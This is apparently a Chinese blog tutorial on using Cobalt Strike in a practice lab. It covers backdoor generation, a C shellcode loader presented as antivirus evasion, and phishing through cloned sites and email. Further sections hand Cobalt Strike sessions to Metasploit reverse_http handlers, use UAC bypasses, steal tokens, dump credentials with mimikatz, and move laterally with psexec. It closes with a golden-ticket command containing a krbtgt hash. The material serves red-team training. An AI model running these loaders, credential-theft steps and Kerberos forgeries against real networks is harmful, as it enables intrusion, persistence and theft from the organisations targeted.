cobalt strike 的基础使用

cobalt strike 的基础使用

本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

前言

Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。

Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

目录结构

│ agscript 				# 拓展应用的脚本
│ c2lint 				# 检查profile的错误异常
│ cobaltstrike
│ cobaltstrike.jar 		# 客户端程序
│ icon.jpg
│ license.pdf
│ readme.txt
│ releasenotes.txt
│ teamserver 			# 服务端程序
│ update
│ update.jar
│
└─third-party 			# 第三方工具
   README.vncdll.txt
   vncdll.x64.dll
   vncdll.x86.dll

个人定制

  • Cobalt Strike可以使用 AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
  • Cobalt Strike通信配置文件是 Malleable C2 你可以修改 CS的通讯特征,Beacon payload的一些行为
  • Cobalt Strike可以引用其他的通讯框架ExternalC2,ExternalC2是由Cobalt Strike提出的一套规范/框架,它允许黑客根据需要对框架提供的默认HTTP(S)/DNS/SMB C2 通信通道进行扩展。

启动运行服务端

cobalt strike 分为服务端和客户端

团队服务器最好运行在Linux平台上,服务端的关键文件是 teamservercobaltstrike.jar ,将这两个文件放在同一目录下运行:

# 启动服务端,监听IP 10.10.10.11,连接密码为:123456(搭建在外网的时候一定要设置强密码)
sudo ./teamserver 10.10.10.11 123456


# 详细命令说明:
# ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
# <host> 必需参数 团队服务器IP
# <password> 必需参数 连接服务器的密码
# [/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
# [YYYY-MM-DD] 可选参数 所有payload的终止时间

# 如果遇到没有权限执行,使用以下命令添加执行权限
sudo chmod +x teamserver

image-20220730163827481

上面的命令只有关闭了终端就会结束,我们可以使用以下命令来把服务放到后台运行,防止关闭终端会结束服务。

sudo nohup ./teamserver 192.168.0.190 123456 &

修改默认端口

修改默认的端口只需要修改 teamserver 文件中的配置即可。

sudo vim teamserver

image-20220730164610295

客户端连接

Windows 客户端连接:

点击 start.bat

image-20220730165008169

Linux 客户端连接:

运行以下命令:

sudo ./cobaltstrike

image-20220730165215081

基础使用

后门生成模块的使用

在生成后门界面中,给我们内置了五种后门生成方案。

image-20220730165851694

分别为:

  • HTA文档
  • Office 宏
  • Payload 生成器
  • Windows 可执行程序(EXE, DLL)
  • Windows 可执行程序(Raw, Powershell)
HTA文档

是后门的一种

这里他给我们提供了3种生成方式 exe,powershell,vba。其中VBA方法需要目标系统上的MicrosoftOffice,在系统支持的情况下我们一般选择powershell,因为这种方式更加容易免杀。通常我们结合host File(文件下载功能) 来实行钓鱼。

image-20220730170602791

Office 宏

image-20220730171911230

设置完成后,保存文件为dotm后缀名。

payload生成器

cs里 提供一个payload生成器,因为默认的shellcode容易被杀毒软件发现,可以编写shellcode加载器运行payload 达到免杀的效果。

image-20220730173011704

这里使用师傅的c/c++加载器,使用vs2019编译。

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")// 不显示窗口
unsigned char shellcode[] = "\xfc..";;
void main()
{
    LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT |
    MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (Memory == NULL) { return; }
    memcpy(Memory, shellcode, sizeof(shellcode));
    ((void(*)())Memory)();
}

编译记得使用Release模式而不是Debug 生成 否则会出现错误

windows可执行程序

提供三种生成类型:

  • windwos可执行程序 直接双击运行
  • windwos服务程序 可以使用sc命令做成服务程序
sc create "server1" binpath= "C:\WINDOWS\Temp\server1.exe"
sc description "server1" "description"
sc config "server1" start= auto
net start "server1"

image-20220730173511860

执行之后 是system权限,这种方法cs留后门的一种方法。

  • windows dll文件

在windows的system文件夹下有一个regsvr32.exe的程序,它就是windows自带的activex注册和反注册工具。(activex不注册是不能够被系统识别和使用的,一般安装程序都会自动地把它所使用的activex控件注册)。Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。

regsvr32 命令详解:

"regsvr32 [/s] [/n] [/i(:cmdline)] dllname”

# 其中dllname为activex控件文件名,建议在安装前拷贝到system文件夹下。
参数有如下意义:
/u      	# 反注册控件(卸载com组建)
/s   		# 不管注册成功与否,均不显示提示框(静默模式,不弹框)
/c			# 控制台输出
/i   		# 跳过控件的选项进行安装(传给DllInstall的参数内容,regsvr32 允许注册过程中 dll 进行一些自定义的安装过程,该过程在 DllInstall 中实现。)
/n			# 不注册控件,此选项必须与/i选项一起使用
Scrobj.dll	# com服务器,全名Windows Script Component,DllInstall方法在这个组件中实现。

Regsvr32.exe 直接调用dll程序

c:\Windows\System32\regsvr32.exe C:\Windows\Temp\artifact.dll
windwos可执行程序 (Stageless)

添加了多种方式上线cs。

介绍:Staged 和 Stageless 的区别. 前者的实际功能只是和 C2 建立连接并接收 Payload, 然后加载执行,而 Stageless 直接省去了接收 Payload 的步骤. Stageless 生成除了的 Payload 都会比 Staged 类型的要大很多, 而且包含了特征明细。

web钓鱼模块

cs提供了钓鱼模块 方便渗透测试人员进行钓鱼。

Manage 					# 对开启的web服务进行管理;
Clone Site 				# 克隆网站,可以记录受害者提交的数据;
Host File 				# 提供一个文件下载,可以修改Mime信息;
Scripted Web Delivery 	# 类似于msf 的web_delivery ;
Signed Applet Attack 	# 使用java自签名的程序进行钓鱼攻击;
Smart Applet Attack 	# 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本;
System Profiler 		# 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。

image-20220730174406155

站点管理

这里主要是cs自带的web服务,访问ip加上端口 则可以访问。

克隆网站

这个模块主要的作用 克隆一个网站 发送给受害者 受害者访问的时候 可以收集受害者提交的信息,同时也可以选择攻击下载文件。

image-20220730174839066

成功克隆网站并且弹出后门下载

image-20220730180224737

信息模块

这个主要是生成一个页面 让受害者访问 收集受害者的浏览器系统信息

image-20220730180739236

浏览器访问 http://10.10.10.11:80/baidu

收集的信息在web日志中查看

image-20220730180751437

邮件钓鱼

首先准备eml的钓鱼模板 这个模板可以在qq邮箱里导出

image-20220730181000362

准备模板后 选择邮箱钓鱼模板

image-20220730181011623

点击发送即可 模板上可以看到 url跳转到准备好的url上。

image-20220730181024166

Beacon的使用

Beacon是Cobalt Strike为高级攻击者建模的Payload。使用Beacon通过HTTP,HTTPS或DNS出口网络。而且Beacon非常灵活,支持异步和交互式通信。异步通信既低又慢。Beacon将通讯本地,下载任务,然后进入睡眠状态。交互式通信实时发生。

image-20220730181633917

beacon的命令
Command          		Description
 -------         	 	-----------
 argue           		命令行参数欺骗
 blockdlls         		禁止子进程加载非微软签名的dll
 browserpivot       	注入浏览器进程代理用户已认证身份(仅支持IE)
 cancel          		取消正在下载的文件
 cd            			跳转目录
 checkin          		强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)
 chromedump        		提取Chrome保存的账号密码、Cookies等信息
 clear           		清空beacon任务队列
 connect          		通过TCP正向连接远程Beacon
 covertvpn         		部署Covert VPN客户端
 cp            			复制文件
 dcsync          		从域控提取密码hash
 desktop          		远程VNC控制用户桌面
 dllinject         		注入一个内存反射加载的dll到目标进程
 dllload          		使用LoadLibrary方式在目标进程中加载一个dll
 download         		下载文件
 downloads         		列出所有正在下载的文件
 drives          		列出所有磁盘盘符
 elevate          		利用提权漏洞获取一个高权限Beacon
 execute          		在目标上执行程序(无回显)
 execute-assembly   	在目标上内存加载执行本地.NET程序
 exit           		结束当前Beacon会话
 getprivs         		在当前进程访问令牌(access token)中启用system特权
 getsystem         		尝试获取SYSTEM用户权限
 getuid          		获取当前进程访问令牌(access token)的用户信息
 hashdump         		获取本地用户hash
 help           		帮助信息
 inject          		在指定进程中注入新的Beacon会话
 inline-execute     	在当前会话中执行Beacon Object File
 jobkill          		结束一个后台任务
 jobs           		列出所有后台任务
 jump           		在远程机器上植入Beacon(横向移动)
 kerberos_ccache_use    从ccache文件导入kerberos票据到当前会话中
 kerberos_ticket_purge  清空当前会话中的所有kerberos票据
 kerberos_ticket_use    从ticket文件中导入kerberos票据到当前会话中
 keylogger         		开启键盘记录
 kill           		结束指定进程
 link           		通过命名管道正向连接远程Beacon
 logonpasswords      	使用mimikatz获取密码和hash
 ls            			列出目录文件
 make_token        		创建进程访问令牌(access token),仅用于访问网络资源
 mimikatz        		 运行mimikatz
 mkdir           		创建目录
 mode dns         		使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
 mode dns-txt       	使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
 mode dns6         		使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
 mv            			移动文件
 net            		网络和主机探测工具(内置net命令)
 note           		给当前会话添加备注信息
 portscan         		网络端口扫描
 powerpick         		内存执行Powershell命令(不调用powershell.exe)
 powershell        		通过powershell.exe执行Powershell命令
 powershell-import     	导入本地powershell脚本到当前会话中
 ppid           		为所有新运行的进程设置伪造的父进程PID
 printscreen        	使用PrintScr方式截屏
 ps            			显示进程列表
 psinject         		注入到指定进程后在内存中执行Powershell命令(不调用powershell.exe)
 pth            		使用Mimikatz执行Pass-the-hash
 pwd            		显示当前目录
 reg            		查询注册表
 remote-exec        	在远程机器上执行命令(横向移动)
 rev2self         		恢复原始进程访问令牌(access token)
 rm            			删除文件或文件夹
 rportfwd         		反向端口转发(从Cobalt Strike Teamserver发起连接)
 rportfwd_local      	反向端口转发(从Cobalt Strike客户端发起连接)
 run            		在目标上执行程序(有回显)
 runas           		以另一个用户身份执行程序
 runasadmin       	 	以高权限执行程序
 runu           		以另一个进程PID作为父进程PID,并以其用户身份执行程序
 screenshot        		截屏
 screenwatch        	屏幕监控,每隔一段时间截屏
 setenv          		设置环境变量
 shell           		使用cmd.exe执行命令
 shinject         		注入shellcode到指定进程中
 shspawn          		创建傀儡进程并注入shellcode到其中运行
 sleep           		设置beacon回连间隔时间
 socks           		启动SOCKS4a代理服务器
 socks stop        		停止SOCKS4a代理服务器
 spawn           		创建一个新Beacon会话
 spawnas          		以另一个用户身份创建一个新Beacon会话
 spawnto          		设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)
 spawnu          		以另一个进程PID作为父进程PID,并以其用户身份创建一个新Beacon会话
 spunnel          		运行第三方agent shellcode并将其反向代理到控制端(从CobaltStrike Teamserver发起连接)
 spunnel_local       	运行第三方agent shellcode并将其反向代理到控制端(从CobaltStrike客户端发起连接)
 ssh            		通过SSH连接远程主机(使用账号密码认证)
 ssh-key          		通过SSH连接远程主机(使用证书私钥认证)
 steal_token        	从指定进程中窃取访问令牌(access token)
 timestomp         		复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
 unlink          		断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
 upload          		上传文件

同样的这些命令也有图形化的按钮。

端口扫描

流量探测 端口扫描 选择扫描存活的方式 arp icmp 选择扫描的网卡 也可以指定端口

image-20220730183537295

image-20220730183635521

网络探测

beacon 提供net命令 以下是这个命令的一些常用方法

beacon> help net
Use: net [命令] [参数]
Beacon内置的主机和网络枚举探测工具。 支持的 [命令] 列表有:
   命令         			描述
   -------       		-----------
   computers      		列出域中的主机(通过组)
   domain       		显示该主机的域
   dclist       		列出域控制器
   domain_controllers 	列出域控制器(通过组)
   domain_trusts    	列出域信任
   group        		列出组中的成员组和成员用户
   localgroup     		列出本地组中的成员组和成员用户
   logons       		列出登录到指定主机的用户
   sessions      		列出指定主机上的会话
   share        		列出指定主机上的共享
   user        			列出用户和用户信息
   time        			显示指定主机上的时间
   view        			列出域中的主机(通过browser服务)

查看网络信任主机

image-20220730183827961

列出域控

image-20220730184012423

这里我没有开启域控的主机所以显示没有域控。

浏览器代理

先把beacon 简介时间设置为0 sleep 0
先把 beacon 设为交互模式。因为浏览器跳板是通过 beacon 会话来隧道通信传输数据的,所以 beacon连接到团队服务器的频率会影响浏览器跳板的同步性。所以要把 beacon 会话设为交互模式来实现最好的效果

然后设置浏览器跳板代理( agent )。这一步实际上会完成两个任务:

  • 将 agent 程序注入受害机器的 IE 浏览器进程
  • 在团队服务器的一个端口上开启一个 HTTP 代理服务器

image-20220730184242890

实际上,这个过程也可以通过 browserpivot 命令来实现。效果是等同的。 停止方式 browserpivot stop
如果目标上 登录 某些网站 通过设置浏览器代理后,访问网站即可登录

image-20220730184314861

访问目标网站

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4s89RIQz-1659187783610)(…/…/…/AppData/Roaming/Typora/typora-user-images/image-20220730184326927.png)]

代理转发

socks代理

使用socks代理
在指定端口上启动SOCKS4a代理服务器,该服务器将通过当前Beacon中继网络连接

  • teamserver 192.168.150.145
  • win 7 192.168.150.166 10.10.10.135
  • 12server-ad02 10.10.10.137

使用cs获取 win 7 权限 设置socks代理

image-20220730190258634

image-20220730190321526

设置 sudo vi /etc/proxychains4.conf

socks4 192.168.0.145 3652

proxychain4 调用 nmap 扫描 目标机子

proxychains4 nmap -sT -Pn 10.10.10.137 -p 445

image-20220730190642402

metasploit 使用这个代理

setg Proxies socks4:192.168.0.195:1080 	# 设置全局代理
setg ReverseAllowProxy true 			# 允许反向代理,通过socks反弹shell,建立双向通道。(探测可以不设置此项)

image-20220730190729269

转发上线

转发监听器可以利用已攻陷的机器作为代理,为其他Beacon会话的中转网络流量,即内网其他机器可通过连接攻陷机器上线。

  • teamserver 192.168.150.145
  • win 7 192.168.150.166 10.10.10.135
  • 目标机器 10.10.10.137

首先新建监听器 监听器使用当前会话

image-20220730190951583

image-20220730192009338

接着新成后门 选择这个rve监听器

image-20220730191110240

在目标机器执行 beacon 上线

image-20220730192128811

切换视图

image-20220730192156782

这种方式也可用于多层网段反向上线。

VPN部署

为CovertVPN新建一个虚拟机网卡和监听器。当部署CovertVPN客户端后,你将相当于在目标网络中拥有一个二层网络的tap接口

新建vpn 选择网卡

image-20220730192335407

在团队服务器中,配置刚刚的 VPN 接口:
先连接到刚刚的 VPN 接口,能找到此设备:

在kali上

sudo ifconfig phear0 10.10.10.0/24

image-20220730192709677

对内网10段进行代码扫描

nmap -sT -Pn 10.10.10.137 -p 445

image-20220730192801023

回到 CS 的 VPN Interfaces 这里可以看到数据走 VPN 在收发:

image-20220730192839431

会话操作

Cobalt Strike 的 Beacon 最初是一个稳定的生命线,让你可以保持对受害主机的访问权限。从一开始,Beacon 的主要目的就是向其他的 Cobalt Strike 监听器传递权限。使用 spawn 命令来为一个监听器派生一个会话。此 spawn 命令接受一个架构(如:x86,x64)和一个监听器作为其参数。默认情况下, spawn 命令会在 rundll32.exe 中派生一个会话。

spwan派生会话

beacon> help spawn
Use: spawn [x86|x64] [监听器]
  spawn [监听器]
# 创建一个x86或x64傀儡进程,并注入运行从 [监听器] 生成的shellcode

image-20220730193227260

我们可以看到又多了一个会话。

image-20220730193250415

注入进程获取会话

image-20220730193539038

有的进程会失败,可以多尝试一下其他进程。

image-20220730193918053

cobalt strike 与 msf 联动

cobalt strike派生会话到msf

当Cobaltstrike获取到上线主机后,有时候需要传递会话到MSF,操作如下:

首先建立新的Foreign HTTP监听器,设置IP为MSF接收的IP,设置Port是一会儿MSF监听的端口

这里我的msf和cs是在同一个主机上,大家根据自己的真实情况进行修改。

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.150.145
set lport 8888
run

设置cs监听器

image-20220730194504958

在beacon使用命令 spawn cs->msf 会话会派生到msf里

image-20220730194602554

msf运行后会收到会话

image-20220730194628300

metasploit 派生会话到 cs

如果Metasploit已经获取到了一个会话,可以通过payload_inject模块进行会话派生,将会话传递到Cobaltstrike
首先建立监听器

image-20220730194754508

在msf种选择 payload_inject 模块 设置参数 disablepayloadhandler 禁止msf监听

use windows/local/payload_inject
set disablepayloadhandler true
set paylaod windows/meterpreter/reverse_http
set lhost 192.168.150.145
set lport 8999
set session 1
exploit

image-20220730200100890

查看cs成功上线

image-20220730200527448

CS 后渗透操作

在cs中有一个凭证提权模块

获取hash

image-20220730200938263

提权

ms14-058/ms15-051/ms16-016/ms16-032
这些都是大家耳熟能详的Windows本地提权漏洞,在此插件中都已经集成

UAC-DLL
这是一种绕过UAC的攻击,它试图将本地管理员运行的有效负载从低权限提升到高权限。此攻击使用UAC漏洞将ArtifactKit生成的DLL复制到特权位置。此攻击适用于Windows7和Windows8及更高版本的未修补版本。

uac-token-duplication
这是另一种绕过UAC的攻击,将其从低权限提升到高权限(作为本地管理员)。这种攻击使用一个UAC漏洞,允许非提升进程使用从提升进程中窃取的令牌启动任意进程。此漏洞要求攻击删除分配给提升令牌的多个权限。此攻击适用于Windows7及更高版本。如果AlwaysNotify处于其最高设置,则此攻击要求提升的进程已在当前桌面会话中运行(作为同一用户),此漏洞使用PowerShell生成会话。

Uac-eventvwr
这种提权方法是利用时间查看器eventvwr,通过注册表之后,执行Eventvwr.exe会自动加载我们的A.exe(exp),这个时候他的权限就是高了,成功绕过UAV

Uac-wscript
这种绕过uac提权的方法最初是在Empire框架中现身的,该方法只针对Windows7有效提权方式 在网上找好的插件进行提取

image-20220730201206757

获取明文

使用命令 logopasswords 获取hash 和明文

image-20220730202025685

横向渗透

横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(AdvancedPersistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。在提权后,我们可以用mimikatz dump目标机的凭证,并进行内网横向移动

使用 net view 列出信任主机

image-20220730202304659

1.psexec横移

在执行端口扫描后
目标视图中,选择一个目标,右键–>登录–psexec,即可选择凭证进行横向移动
右键 横向移动 选择合适的模块进行登录

image-20220730203456243

可以看到我们成功的建立了ipc$ 连接。

image-20220730203645744

2.窃取令牌

使用命令ps 寻找进程 接着命令steal_token pid pid是进程的id 选择合适权限的进程id即可

image-20220730203951889

如果存在域管 也可以获取域管理权限

image-20220730204057621

使用命令 rev2self 返回之前的权限。

3.制作令牌

使用make_token命令 将之前获取的 生成一个命令访问目标主机
这里以访问域控为例

beacon> help make_token
Use: make_token [\用户名] [密码]
# 克隆当前访问令牌,并在访问网络资源时设置为指定的用户名和密码
make_token redteam\administrator QWEasd123

image-20220730210615324

4.制作黄金票据

原理
黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。更改里面的client参数与session key等。让TGS以为我就是那个我所声称的人,当然我一般会声称自己是administrator。第四步主要是来验证客户端的身份。

所谓的黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。这个ticket相当于对请求端的一个身份认证的凭据,如果可以伪造这个ticket,那么就可以伪造任意身份,而黄金票据就是一个

实现方式。
首先使用命令获取 jump psexec64 ad01 smb 获取ad01的权限 得到权限后 命令 hashdump导出所有hash以及SID

image-20220730210822110

域sid S-1-5-21-2536581826-3274276096-3456299113 域普通用户 命令 whoai /user 去掉后三位

image-20220730211449879

mimikatz kerberos::golden /user:Administrator /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /krbtgt:689fe33346a9e9fe229395fb36178ecb /endin:480 /renewmax:10080 /ptt

访问 ad01 shell dir \\ad02\c$

image-20220730211627599

获取dc权限 jump psexec ad01 ad02a

image-20220730212509395

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值